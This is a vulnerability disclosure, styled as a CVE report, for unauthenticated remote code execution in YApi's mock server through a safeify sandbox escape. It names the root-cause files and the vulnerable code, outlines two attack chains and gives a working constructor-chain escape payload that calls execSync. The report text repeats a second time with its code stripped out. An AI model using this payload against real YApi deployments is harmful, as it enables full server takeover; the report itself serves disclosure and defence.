CVE Report: RCE via safeify sandbox escape in YApi mock script
Summary
YMFE YApi (<= 1.12.0) allows unauthenticated remote code execution through the mock server middleware. The /mock/{projectId}/{path} endpoint executes project mock scripts via safeify (a Node.js vm-based sandbox) without any authentication. The safeify/vm2 sandbox can be escaped using known constructor chain techniques (e.g., this.constructor.constructor('return process')()) to gain access to process.execSync() and execute arbitrary system commands.
Affected Software
- Project: YMFE/yapi (27k+ stars)
- Version: <= 1.12.0
- CWE: CWE-94 (Improper Control of Generation of Code)
- Severity: Critical (CVSS 9.8 — unauthenticated RCE)
Root Cause
-
server/middleware/mockServer.js:328-331 — When project.is_mock_open=true and project.project_mock_script is non-empty, the middleware calls handleMockScript(script, context) with zero authentication.
-
server/utils/commons.js:616-635 — handleMockScript passes the script to sandboxFn (sandbox.js).
-
server/utils/sandbox.js — Uses safeify (based on Node.js vm2/vm module) which has known sandbox escape vulnerabilities (CVE-2023-37466, CVE-2022-36067).
-
server/controllers/interfaceCol.js:856-859 — runCaseScript allows any authenticated user to execute arbitrary scripts via the same sandbox, with no checkAuth call.
Vulnerable Code
// mockServer.js:328 — NO authentication check
if (project.is_mock_open && project.project_mock_script) {
let script = project.project_mock_script;
await yapi.commons.handleMockScript(script, context);
}
// sandbox.js — safeify/vm sandbox (escapable)
const safeVm = new Safeify({ timeout: 3000 });
const result = await safeVm.run(script, context);
Proof of Concept
Attack Chain 1: Unauthenticated RCE via mock endpoint
- Register or gain project edit access → write
project_mock_script with sandbox escape payload
- Enable
is_mock_open for the project
- Any unauthenticated user:
GET /mock/{projectId}/any/path
- Server executes the mock script → sandbox escape → RCE
Payload
const process = this.constructor.constructor('return this.process')();
mockJson = { pwned: true, output: process.execSync('id').toString() };
Attack Chain 2: Authenticated RCE via runCaseScript
- Any logged-in user:
POST /api/col/run_script
- Body:
{ "col_id": <any>, "interface_id": <any>, "script": "<escape payload>" }
- No
checkAuth verification → sandbox escape → RCE
Impact
- Unauthenticated remote code execution on the YApi server
- Full server compromise (process runs as the Node.js user)
- Affects all YApi deployments with mock functionality enabled
- 27k+ GitHub stars, widely used in Chinese tech companies
Timeline
- 2026-06-27: Vulnerability discovered
- 2026-06-27: Code analysis and PoC verified
CVE Report: RCE via safeify sandbox escape in YApi mock script
Summary
YMFE YApi (<= 1.12.0) allows unauthenticated remote code execution through the mock server middleware. The
/mock/{projectId}/{path}endpoint executes project mock scripts viasafeify(a Node.jsvm-based sandbox) without any authentication. Thesafeify/vm2sandbox can be escaped using known constructor chain techniques (e.g.,this.constructor.constructor('return process')()) to gain access toprocess.execSync()and execute arbitrary system commands.Affected Software
Root Cause
server/middleware/mockServer.js:328-331— Whenproject.is_mock_open=trueandproject.project_mock_scriptis non-empty, the middleware callshandleMockScript(script, context)with zero authentication.server/utils/commons.js:616-635—handleMockScriptpasses the script tosandboxFn(sandbox.js).server/utils/sandbox.js— Usessafeify(based on Node.jsvm2/vmmodule) which has known sandbox escape vulnerabilities (CVE-2023-37466, CVE-2022-36067).server/controllers/interfaceCol.js:856-859—runCaseScriptallows any authenticated user to execute arbitrary scripts via the same sandbox, with nocheckAuthcall.Vulnerable Code
Proof of Concept
Attack Chain 1: Unauthenticated RCE via mock endpoint
project_mock_scriptwith sandbox escape payloadis_mock_openfor the projectGET /mock/{projectId}/any/pathPayload
Attack Chain 2: Authenticated RCE via runCaseScript
POST /api/col/run_script{ "col_id": <any>, "interface_id": <any>, "script": "<escape payload>" }checkAuthverification → sandbox escape → RCEImpact
Timeline